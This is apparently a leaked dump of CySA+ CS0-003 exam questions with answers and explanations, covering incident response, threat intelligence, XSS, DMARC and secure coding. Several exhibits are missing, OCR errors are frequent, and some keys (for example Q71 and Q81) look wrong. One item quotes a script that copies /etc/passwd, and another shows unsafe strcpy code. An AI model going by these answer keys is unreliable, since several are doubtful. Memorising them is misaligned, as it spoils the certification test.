Officer (CISO) decided the risk score would be too high. The CISO refused the software request. Which of the following risk management principles did the CISO select? Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 22 https://www.lead2pass.com A. Avoid B. Transfer C. Accept D. Mitigate Answer: A Explanation: Avoid is a risk management principle that describes the decision or action of not engaging in an activity or accepting a risk that is deemed too high or unacceptable. Avoiding a risk can eliminate the possibility or impact of the risk, as well as the need for any further risk management actions. In this case, the CISO decided the risk score would be too high and refused the software request. This indicates that the CISO selected the avoid principle for risk management. QUESTION 45 Which of the following is an important aspect that should be included in the lessons-learned step after an incident? A. Identify any improvements or changes in the incident response plan or procedures B. Determine if an internal mistake was made and who did it so they do not repeat the error C. Present all legal evidence collected and turn it over to iaw enforcement D. Discuss the financial impact of the incident to determine if security controls are well spent Answer: A Explanation: An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons- learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents. QUESTION 46 The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results? A. Single pane of glass B. Single sign-on C. Data enrichment D. Deduplication Answer: A Explanation: A single pane of glass (SPOG) is a security solution that aggregates data from multiple sources into a single view. This allows security analysts to have a holistic view of their security posture and to quickly identify and respond to threats. In this case, a SPOG can be used to consolidate several threat intelligence feeds into a single view. This would allow the security operations team to have a single place to view all of their threat intelligence data, which would help them to identify and respond to threats more quickly and efficiently. Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 23 https://www.lead2pass.com QUESTION 47 Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization? A. MITRE ATT&CK B. Cyber Kill Cham C. OWASP D. STIX/TAXII Answer: A Explanation: MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities. QUESTION 48 The security team reviews a web server for XSS and runs the following Nmap scan: Which of the following most accurately describes the result of the scan? A. An output of characters > and " as the parameters used m the attempt B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and unfiltered characters returned C. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe D. The vulnerable parameter and characters > and " with a reflected XSS attempt Answer: D Explanation: A cross-site scripting (XSS) attack is a type of web application attack that injects malicious code into a web page that is then executed by the browser of a victim user. A reflected XSS attack is a type of XSS attack where the malicious code is embedded in a URL or a form parameter that is sent to the web server and then reflected back to the user's browser. In this case, the Nmap scan shows that the web server is vulnerable to a reflected XSS attack, as it returns the characters > and " without any filtering or encoding. The vulnerable parameter is id in the URL http://172.31.15.2/1.php?id=2. QUESTION 49 Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future? A. Develop a call tree to inform impacted users Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 24 https://www.lead2pass.com B. Schedule a review with all teams to discuss what occurred C. Create an executive summary to update company leadership D. Review regulatory compliance with public relations for official notification Answer: B Explanation: One of the best actions to take after the conclusion of a security incident to improve incident response in the future is to schedule a review with all teams to discuss what occurred, what went well, what went wrong, and what can be improved. This review is also known as a lessons learned session or an after-action report. The purpose of this review is to identify the root causes of the incident, evaluate the effectiveness of the incident response process, document any gaps or weaknesses in the security controls, and recommend corrective actions or preventive measures for future incidents. QUESTION 50 A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis? A. Code analysis B. Static analysis C. Reverse engineering D. Fuzzing Answer: C Explanation: Reverse engineering is the process of decompiling a program to its source code, or of analyzing a binary file to understand its function. This is the best technique to perform the analysis of a malicious binary file, as it allows the analyst to see the code that the malware is actually running. This can help the analyst to identify the malware's purpose, its capabilities, and how it spreads. QUESTION 51 An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server? A. Hard disk B. Primary boot partition C. Malicious files D. Routing table E. Static IP address Answer: C Explanation: Collecting malicious files is important because they can provide valuable information about the nature of the attack, the malware used, and potentially even the threat actor responsible. It allows for analysis without altering the system's state. Once the malicious files are collected, you can proceed with isolating the server and taking other steps to secure the environment. QUESTION 52 Which of the following security operations tasks are ideal for automation? Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 25 https://www.lead2pass.com A. Suspicious file analysis: Look for suspicious-looking graphics in a folder. Create subfolders in the original folder based on category of graphics found. Move the suspicious graphics to the appropriate subfolder B. Firewall IoC block actions: Examine the firewall logs for IoCs from the most recently published zero-day exploit Take mitigating actions in the firewall to block the behavior found in the logs Follow up on any false positives that were caused by the block rules C. Security application user errors: Search the error logs for signs of users having trouble with the security application Look up the user's phone number Call the user to help with any questions about using the application D. Email header analysis: Check the email header for a phishing confidence metric greater than or equal to five Add the domain of sender to the block list Move the email to quarantine Answer: D Explanation: Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various indicators of phishing or spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics. Email header analysis can be automated using tools or scripts that can parse and analyze email headers and take appropriate actions based on predefined rules or thresholds. QUESTION 53 An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to? A. PCI Security Standards Council B. Local law enforcement C. Federal law enforcement D. Card issuer Answer: D Explanation: Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. QUESTION 54 Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system? A. Mean time to detect B. Number of exploits by tactic C. Alert volume Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 26 https://www.lead2pass.com D. Quantity of intrusion attempts Answer: A Explanation: Mean time to detect (MTTD) is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system. MTTD is a metric that measures how long it takes to detect a security incident or threat from the time it occurs. MTTD can be improved by using tools and processes that can collect, correlate, analyze, and alert on security data from various sources. SIEM, SOAR, and ticketing systems are examples of such tools and processes that can help reduce MTTD and enhance security operations. QUESTION 55 A company is implementing a vulnerability management program and moving from an on- premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment? A. The current scanners should be migrated to the cloud B. Cloud-specific misconfigurations may not be detected by the current scanners C. Existing vulnerability scanners cannot scan IaaS systems D. Vulnerability scans on cloud environments should be performed from the cloud Answer: B Explanation: Cloud-specific misconfigurations are security issues that arise from improper or inadequate configuration of cloud resources, such as storage buckets, databases, virtual machines, or containers. Cloud-specific misconfigurations may not be detected by the current scanners that are designed for on-premises environments, as they may not have the visibility or access to the cloud resources or the cloud provider's APIs. Therefore, one of the implications that should be considered on the new hybrid environment is that cloud-specific misconfigurations may not be detected by the current scanners. QUESTION 56 A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies? A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation D. Notify the SOC manager for awareness after confirmation that the activity was intentional Answer: B Explanation: The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 27 https://www.lead2pass.com the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification. QUESTION 57 Which of the following is the first step that should be performed when establishing a disaster recovery plan? A. Agree on the goals and objectives of the plan B. Determine the site to be used during a disaster C. Demonstrate adherence to a standard disaster recovery process D. Identify applications to be run during a disaster Answer: A Explanation: The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable. QUESTION 58 Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident? A. The lead should review what is documented in the incident response policy or plan B. Management level members of the CSIRT should make that decision C. The lead has the authority to decide who to communicate with at any t me D. Subject matter experts on the team should communicate with others within the specified area of expertise Answer: A Explanation: The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure. QUESTION 59 A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing? A. Firewall logs B. Indicators of compromise C. Risk assessment D. Access control lists Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 28 https://www.lead2pass.com Answer: B Explanation: Indicators of compromise (IoCs) are pieces of data or evidence that suggest a system or network has been compromised by an attacker or malware. IoCs can include IP addresses, domain names, URLs, file hashes, registry keys, network traffic patterns, user behaviors, or system anomalies. IoCs can be used to detect, analyze, and respond to security incidents, as well as to share threat intelligence with other organizations or authorities. IoCs can produce the data needed for an executive briefing on possible threats to the organization, as they can provide information on the source, nature, scope, impact, and mitigation of the threats. QUESTION 60 An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed? A. Beaconing B. Cross-site scripting C. Buffer overflow D. PHP traversal Answer: A QUESTION 61 A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files? A. Change the display filter to ftp.active.port B. Change the display filter to tcp.port==20 C. Change the display filter to ftp-data and follow the TCP streams D. Navigate to the File menu and select FTP from the Export objects option Answer: C Explanation: The best way to see the entire contents of the downloaded files in Wireshark is to change the display filter to ftp-data and follow the TCP streams. FTP-data is a protocol that is used to transfer files between an FTP client and server using TCP port 20. By filtering for ftp-data packets and following the TCP streams, the analyst can see the actual file data that was transferred during the FTP session. QUESTION 62 An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe? A. Eradication B. Recovery C. Containment D. Preparation Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 29 https://www.lead2pass.com Answer: A Explanation: Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process. QUESTION 63 Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend? A. Isolate Joe's PC from the network B. Reimage the PC based on standard operating procedures C. Initiate a remote wipe of Joe's PC using mobile device management D. Perform no action until HR or legal counsel advises on next steps Answer: D Explanation: The best action for the incident response team to recommend in this scenario is to perform no action until HR or legal counsel advises on next steps. This action can help avoid any potential legal or ethical issues, such as violating employee privacy rights, contractual obligations, or organizational policies. This action can also help ensure that any evidence or information collected from the employee's system or network is admissible and valid in case of any legal action or dispute. The incident response team should consult with HR or legal counsel before taking any action that may affect the employee's system or network. QUESTION 64 The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks? A. Reduce the administrator and privileged access accounts B. Employ a network-based IDS C. Conduct thorough incident response D. Enable SSO to enterprise applications Answer: A Explanation: The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and privileged access accounts. Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets or entry points for attackers, as well as reduce the Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 30 https://www.lead2pass.com impact or damage of an attack if an account is compromised. QUESTION 65 During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first? A. Clone the virtual server for forensic analysis B. Log m to the affected server and begin analysis of the logs C. Restore from the last known-good backup to confirm there was no loss of connectivity D. Shut down the affected server immediately Answer: A Explanation: The first action that the analyst should take in this case is to clone the virtual server for forensic analysis. Cloning the virtual server involves creating an exact copy or image of the server's data and state at a specific point in time. Cloning the virtual server can help preserve and protect any evidence or information related to the security incident, as well as prevent any tampering, contamination, or destruction of evidence. Cloning the virtual server can also allow the analyst to safely analyze and investigate the incident without affecting the original server or its operations. QUESTION 66 A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation? A. C2 beaconing activity B. Data exfiltration C. Anomalous activity on unexpected ports D. Network host IP address scanning E. A rogue network device Answer: A Explanation: The most likely explanation for this traffic pattern is C2 beaconing activity. C2 stands for command and control, which is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 beaconing activity is a type of network traffic that indicates a compromised system is sending periodic messages or signals to an attacker's system using various protocols, such as HTTP(S), DNS, ICMP, or UDP. C2 beaconing activity can enable the attacker to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. QUESTION 67 A software developer is correcting the error-handling capabilities of an application following the initial coding of the fix. Which of the following would the software developer MOST likely performed to validate the code poor to pushing it to production? Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 31 https://www.lead2pass.com A. Web-application vulnerability scan B. Static analysis C. Packet inspection D. Penetration test Answer: B Explanation: What is static analysis? Static analysis is a method of analyzing code for defects, bugs, or security issues prior to pushing to production. https://cloudacademy.com/blog/what-is-static-analysis-within-ci-cd-pipelines/ QUESTION 68 Forming a hypothesis, looking for indicators of compromise, and using the findings to proactively improve detection capabilities are examples of the value of: A. vulnerability scanning. B. threat hunting. C. red learning. D. penetration testing. Answer: B QUESTION 69 Which of the following BEST explains the function of a managerial control? A. To help design and implement the security planning, program development, and maintenance of the security life cycle B. To guide the development of training, education, security awareness programs, and system maintenance C. To create data classification, risk assessments, security control reviews, and contingency planning D. To ensure tactical design, selection of technology to protect data, logical access reviews, and the implementation of audit trails Answer: C Explanation: Managerial controls are procedural mechanisms that focus on the mechanics of the risk management process. Examples of administrative controls include periodic risk assessments, security planning exercises, and the incorporation of security into the organization's change management, service acquisition, and project management practices. QUESTION 70 Which of the following types of controls defines placing an ACL on a file folder? A. Technical control B. Confidentiality control C. Managerial control D. Operational control Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 32 https://www.lead2pass.com Answer: A Explanation: Technical controls enforce confidentiality, integrity, and availability in the digital space. Examples of technical security controls include firewall rules, access control lists, intrusion prevention systems, and encryption. QUESTION 71 A code review reveals a web application is using lime-based cookies for session management. This is a security concern because lime-based cookies are easy to: A. parameterize. B. decode. C. guess. D. decrypt. Answer: A QUESTION 72 A security analyst discovers suspicious host activity while performing monitoring activities. The analyst pulls a packet capture for the activity and sees the following: Follow TCP stream: Which of the following describes what has occurred? A. The host attempted to download an application from utoftor.com. B. The host downloaded an application from utoftor.com. C. The host attempted to make a secure connection to utoftor.com. D. The host rejected the connection from utoftor.com. Answer: B Explanation: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 33 https://www.lead2pass.com "Connection: close" mean when used in the response message? Bookmark this question. Show activity on this post. When the client uses the Connection: close header in the request message, this means that it wants the server to close the connection after sending the response message. 200 OK is the most common HTTP status code. It generally means that the HTTP request succeeded. QUESTION 73 A security analyst is reviewing the following Internet usage trend report: Which of the following usernames should the security analyst investigate further? A. User 1 B. User 2 C. User 3 D. User 4 Answer: B QUESTION 74 A consultant evaluating multiple threat intelligence leads to assess potential risks for a client. Which of the following is the BEST approach for the consultant to consider when modeling the client's attack surface? A. Ask for external scans from industry peers, look at the open ports, and compare Information with the client. B. Discuss potential tools the client can purchase lo reduce the livelihood of an attack. C. Look at attacks against similar industry peers and assess the probability of the same attacks happening. D. Meet with the senior management team to determine if funding is available for recommended solutions. Answer: C Explanation: Asking scans from other companies would reveal their vulnerabilities and impossible to get. QUESTION 75 Which of the following, BEST explains the function of TPM? A. To provide hardware-based security features using unique keys B. To ensure platform confidentiality by storing security measurements C. To improve management of the OS installation. D. To implement encryption algorithms for hard drives Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 34 https://www.lead2pass.com Answer: A QUESTION 76 An analyst determines a security incident has occurred. Which of the following is the most appropriate NEXT step in an incident response plan? A. Consult the malware analysis process B. Consult the disaster recovery plan C. Consult the data classification process D. Consult the communications plan Answer: D QUESTION 77 A company's application development has been outsourced to a third-party development team. Based on the SLA, the development team must follow industry best practices for secure coding. Which of the following is the BEST way to verify this agreement? A. Input validation B. Security regression testing C. Application fuzzing D. User acceptance testing E. Stress testing Answer: C Explanation: Threat actors use fuzzing to find zero-day exploits - this is known as a fuzzing attack. Security professionals, on the other hand, leverage fuzzing techniques to assess the security and stability of applications. https://brightsec.com/blog/fuzzing/ QUESTION 78 A security administrator needs to provide access from partners to an Isolated laboratory network inside an organization that meets the following requirements: - The partners' PCs must not connect directly to the laboratory network. - The tools the partners need to access while on the laboratory network must be available to all partners - The partners must be able to run analyses on the laboratory network, which may take hours to complete Which of the following capabilities will MOST likely meet the security objectives of the request? A. Deployment of a jump box to allow access to the laboratory network and use of VDI in persistent mode to provide the necessary tools for analysis B. Deployment of a firewall to allow access to the laboratory network and use of VDI in non- persistent mode to provide the necessary tools tor analysis C. Deployment of a firewall to allow access to the laboratory network and use of VDI In persistent mode to provide the necessary tools for analysis Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 35 https://www.lead2pass.com D. Deployment of a jump box to allow access to the Laboratory network and use of VDI in non- persistent mode to provide the necessary tools for analysis Answer: A Explanation: https://www.techtarget.com/searchvirtualdesktop/feature/Understanding-nonpersistent-vs- persistent-VDI QUESTION 79 Which of the following are the MOST likely reasons lo include reporting processes when updating an incident response plan after a breach? (Select TWO). A. To establish a clear chain of command B. To meet regulatory requirements for timely reporting C. To limit reputation damage caused by the breach D. To remediate vulnerabilities that led to the breach E. To isolate potential insider threats F. To provide secure network design changes Answer: AB QUESTION 80 Which of the following is MOST dangerous to the client environment during a vulnerability assessment penetration test? A. There is a longer period of time to assess the environment. B. The testing is outside the contractual scope C. There is a shorter period of time to assess the environment D. No status reports are included with the assessment. Answer: B Explanation: The point is that scans outside the scope can accidentally break it. That's dangerous to the customer's environment. QUESTION 81 Which of the following is MOST important when developing a threat hunting program? A. Understanding penetration testing techniques B. Understanding how to build correlation rules within a SIEM C. Understanding security software technologies D. Understanding assets and categories of assets Answer: C Explanation: When creating a threat hunting program it is important to start by developing standardized processes to guide threat hunting efforts. Security teams should outline when and how hunting takes place (whether at scheduled intervals, in response to specific triggering actions, or continuously with the help of automated tools), what techniques are to be used, and which people and TOOLS will be responsible for performing specific threat hunting tasks. Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 36 https://www.lead2pass.com QUESTION 82 A cybersecurity analyst needs to harden a server that is currently being used as a web server. The server needs to be accessible when entering www.company.com into the browser. Additionally, web pages require frequent updates, which are performed by a remote contractor. Given the following output: Which of the following should the cybersecurity analyst recommend to harden the server? (Choose two.) A. Uninstall the DNS service B. Perform a vulnerability scan C. Change the server's IP to a private IP address D. Disable the Telnet service E. Block port 80 with the host-based firewall F. Change the SSH port to a non-standard port Answer: AD Explanation: You don't need DNS running on a web server. Other servers will provide the entries for that server to be found. QUESTION 83 Which of the following BEST describes HSM? A. A computing device that manages cryptography, decrypts traffic, and maintains library calls B. A computing device that manages digital keys, performs encryption/decryption functions, and maintains other cryptographic functions C. A computing device that manages physical keys, encrypts devices, and creates strong cryptographic functions D. A computing device that manages algorithms, performs entropy functions, and maintains digital signatures Answer: B Explanation: HSM stands for Hardware Security Module. An HSM is a dedicated computing device that is designed to provide secure storage and management of cryptographic keys and other sensitive data. HSMs are designed to provide a secure environment for the generation, storage, and use of cryptographic keys, as well as the execution of cryptographic operations such as encryption and Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 37 https://www.lead2pass.com decryption. This secure environment is necessary to protect the keys from theft or unauthorized access and to ensure the confidentiality, integrity, and availability of sensitive data. By offloading cryptographic functions to an HSM, organizations can improve the security of their data and reduce the risk of security incidents. QUESTION 84 A threat hurting team received a new loC from an ISAC that follows a threat actor's profile and activities. Which of the following should be updated NEXT? A. The whitelist B. The DNS C. The blocklist D. The IDS signature Answer: D Explanation: Examples of IoC: Unusual inbound and outbound network traffic Geographic irregularities, such as traffic from countries or locations where the organization does not have a presence Unknown applications within the system Unusual activity from administrator or privileged accounts, including requests for additional permissions An uptick in incorrect log-ins or access requests that may indicate brute force attacks Anomalous activity, such as an increase in database read volume Large numbers of requests for the same file Suspicious registry or system file changes Unusual Domain Name Servers (DNS) requests and registry configurations Unauthorized settings changes, including mobile device profiles Large amounts of compressed files or data bundles in incorrect or unexplained locations Analyst then create custom rules for specific organizational needs to find out whos doing these actions QUESTION 85 Which of the following BEST describes what an organizations incident response plan should cover regarding how the organization handles public or private disclosures of an incident? A. The disclosure section should focus on how to reduce the likelihood customers will leave due to the incident. B. The disclosure section should contain the organization's legal and regulatory requirements regarding disclosures. C. The disclosure section should include the names and contact information of key employees who are needed for incident resolution D. The disclosure section should contain language explaining how the organization will reduce the likelihood of the incident from happening m the future. Answer: B QUESTION 86 Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 38 https://www.lead2pass.com An IT security analyst has received an email alert regarding a vulnerability within the new fleet of vehicles the company recently purchased. Which of the following attack vectors is the vulnerability MOST likely targeting? A. SCADA B. CAN bus C. Modbus D. loT Answer: B Explanation: The Controller Area Network - CAN bus is a message-based protocol designed to allow the Electronic Control Units (ECUs) found in today’s automobiles, as well as other devices, to communicate with each other in a reliable, priority-driven fashion. Messages or “frames” are received by all devices in the network, which does not require a host computer. QUESTION 87 After examining a header and footer file, a security analyst begins reconstructing files by scanning the raw data bytes of a hard disk and rebuilding them. Which of the following techniques is the analyst using? A. Header analysis B. File carving C. Metadata analysis D. Data recovery Answer: B QUESTION 88 An organization is experiencing security incidents in which a systems administrator is creating unauthorized user accounts A security analyst has created a script to snapshot the system configuration each day. Following iss one of the scripts: cat /etc/passwd > daily_$(date +"%m_%d_%Y") This script has been running successfully every day. Which of the following commands would provide the analyst with additional useful information relevant to the above script? A. diff daily_11_03_2019 daily_11_04_2019 B. ps -ef | grep admin > daily_process_$(date +%m_%d_%Y") C. more /etc/passwd > daily_$(date +%m_%d_%Y_%H:%M:%S") D. la -lai /usr/sbin > daily_applications Answer: A QUESTION 89 A company's domain has been spooled in numerous phishing campaigns. An analyst needs to determine the company is a victim of domain spoofing, despite having a DMARC record that should tell mailbox providers to ignore any email that fails DMARC upon review of the record, the analyst finds the following: Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 39 https://www.lead2pass.com v=DMARC1; p=none; fo=0; rua=mailto:[email protected]; ruf=mailto:[email protected]; adkim=r; rf=afrf; ri=86400; Which of the following BEST explains the reason why the company's requirements are not being processed correctly by mailbox providers? A. The DMARC record's DKIM alignment tag Is incorrectly configured. B. The DMARC record's policy tag is incorrectly configured. C. The DMARC record does not have an SPF alignment lag. D. The DMARC record's version tag is set to DMARC1 instead of the current version, which is DMARC3. Answer: B Explanation: p=none - Take no action on the message and deliver it to the intended recipient. It should be p=reject or p=qarantine QUESTION 90 Which of the following BEST explains the function of trusted firmware updates as they relate to hardware assurance? A. Trusted firmware updates provide organizations with development, compilation, remote access, and customization for embedded devices. B. Trusted firmware updates provide organizations with security specifications, open-source libraries, and custom toots for embedded devices. C. Trusted firmware updates provide organizations with remote code execution, distribution, maintenance, and extended warranties for embedded devices D. Trusted firmware updates provide organizations with secure code signing, distribution, installation, and attestation for embedded devices. Answer: D Explanation: Trusted firmware updates can help, with validation done using methods like checksum validation, cryptographic signing, and similar techniques. QUESTION 91 A help desk technician inadvertently sent the credentials of the company's CRM n clear text to an employee's personal email account. The technician then reset the employee's account using the appropriate process and the employee's corporate email, and notified the security team of the incident According to the incident response procedure, which of the following should the security team do NEXT? A. Contact the CRM vendor. B. Prepare an incident summary report. C. Perform postmortem data correlation. D. Update the incident response plan. Answer: B Explanation: A post-mortem report is not mentioned in the NIST standard. https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 40 https://www.lead2pass.com QUESTION 92 A developer downloaded and attempted to install a file transfer application in which the installation package is bundled with adware. The next-generation antivirus software prevented the file from executing, but it did not remove the file from the device. Over the next few days, more developers tried to download and execute the offending file. Which of the following changes should be made to the security tools to BEST remedy the issue? A. Blacklist the hash in the next-generation antivirus system. B. Manually delete the file from each of the workstations. C. Remove administrative rights from all developer workstations. D. Block the download of the file via the web proxy. Answer: D Explanation: In the question it states that the anti-virus is already preventing the file from executing, but it did not remove the file from the device. Later, more developers tried to DOWNLOAD and execute the same file. If the anti-virus is already preventing the execution of the file, then the real issue is the downloading of the file. By blocking the download, you can prevent anyone else from downloading that file while the AV is already preventing the execution of it. Unless by "blacklist" they also mean automatic deletion of said file when discovered and/or prevent it from being downloaded too. QUESTION 93 After detecting possible malicious external scanning, an internal vulnerability scan was performed, and a critical server was found with an outdated version of JBoss. A legacy application that is running depends on that version of JBoss. Which of the following actions should be taken FIRST to prevent server compromise and business disruption at the same time? A. Make a backup of the server and update the JBoss server that is running on it. B. Contact the vendor for the legacy application and request an updated version. C. Create a proper DMZ for outdated components and segregate the JBoss server. D. Apply visualization over the server, using the new platform to provide the JBoss service for the legacy application as an external service. Answer: C Explanation: The DMZ is a special network zone designed to house systems that receive connections from the outside world, such as web and email servers. Sound firewall designs place these systems on an isolated network where, if they become compromised, they pose little threat to the internal network because connections between the DMZ and the internal network must still pass through the firewall and are subject to its security policy. QUESTION 94 An incident response team detected malicious software that could have gained access to credit card data. The incident response team was able to mitigate significant damage and implement corrective actions. By having incident response mechanisms in place. Which of the following should be notified for lessons learned? A. The human resources department B. Customers C. Company leadership Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 41 https://www.lead2pass.com D. The legal team Answer: C QUESTION 95 In SIEM software, a security analysis selected some changes to hash signatures from monitored files during the night followed by SMB brute-force attacks against the file servers Based on this behavior, which of the following actions should be taken FIRST to prevent a more serious compromise? A. Fully segregate the affected servers physically in a network segment, apart from the production network. B. Collect the network traffic during the day to understand if the same activity is also occurring during business hours C. Check the hash signatures, comparing them with malware databases to verify if the files are infected. D. Collect all the files that have changed and compare them with the previous baseline Answer: A QUESTION 96 While implementing a PKI for a company, a security analyst plans to utilize a dedicated server as the certificate authority that is only used to sign intermediate certificates. Which of the following are the MOST secure states for the certificate authority server when it is not in use? (Choose two.) A. On a private VLAN B. Full disk encrypted C. Powered off D. Backed up hourly E. VPN accessible only F. Air gapped Answer: BF QUESTION 97 Which of the following BEST identifies the appropriate use of threat intelligence as a function of detection and response? A. To identify weaknesses in an organization's security posture B. To identify likely attack scenarios within an organization C. To build a business security plan for an organization D. To build a network segmentation strategy Answer: B Explanation: Threat intelligence comprises information gathered that does one of the following things: Educates and warns you about potential dangers not yet seen in the environment Identifies behavior that accompanies malicious activity Alerts you of ongoing malicious activity Get Latest & Actual CS0-003 Exam's Question and Answers from Lead2pass. 42 https://www.lead2pass.com QUESTION 98 While conducting a cloud assessment, a security analyst performs a Prowler scan, which generates the following within the report: Based on the Prowler report, which of the following is the BEST recommendation? A. Delete CloudDev access key 1. B. Delete BusinessUsr access key 1. C. Delete access key 1. D. Delete access key 2. Answer: B Explanation: The only "FAIL!" in this report is BusinessUsr. QUESTION 99 An internally developed file-monitoring system identified the following except as causing a program to crash often: char filedata; fp = fopen(`access.log`, `r`); srtcopy (filedata, fp); printf (`%s\n`, filedata); Which of the following should a security analyst recommend to fix the issue? A. Open the access.log file in read/write mode. B. Replace the strcpy function. C. Perform input sanitization. D. Increase the size of the file data butter. Answer: B Explanation: Use of insecure functions can make it much harder to secure code. Functions like strcpy, which don't have critical security features built in, can result in code that is easier for attackers to target. In fact, strcpy is the only specific function that the CySA+ objectives call out, likely because of how commonly it is used for buffer overflow attacks in applications written in C. strcpy allows data to be copied without caring whether the source is bigger than the destination. If this occurs, attackers can place arbitrary data in memory locations past the original destination, possibly 